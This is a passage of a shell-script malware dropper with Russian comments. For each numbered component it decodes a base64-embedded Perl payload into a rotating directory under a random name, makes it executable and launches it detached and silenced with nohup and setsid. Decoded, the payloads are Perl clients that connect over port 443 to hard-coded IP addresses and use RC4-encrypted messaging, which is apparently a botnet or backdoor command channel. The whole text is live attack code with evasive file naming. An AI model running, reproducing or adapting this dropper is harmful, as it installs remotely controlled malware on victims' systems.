IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNzgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw
b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g
MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSA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KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #21 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #21 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 22 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNTEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBz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FwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #22 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #22 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 23 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev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RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #23 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #23 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 24 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xODAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2Ny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CwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #24 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #24 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 25 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1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SAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0
OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh
LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #25 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #25 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 26 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xODInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBf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DIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #26 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #26 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 27 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Ow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CRzb2NrZXRhcnJbMF0sICRkYXRh
LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #27 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #27 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 28 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xODQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwo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
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #28 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #28 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 29 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PRE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YXN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #29 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #29 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 30 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4xNzknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJI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7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #30 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #30 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 31 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmV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ZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
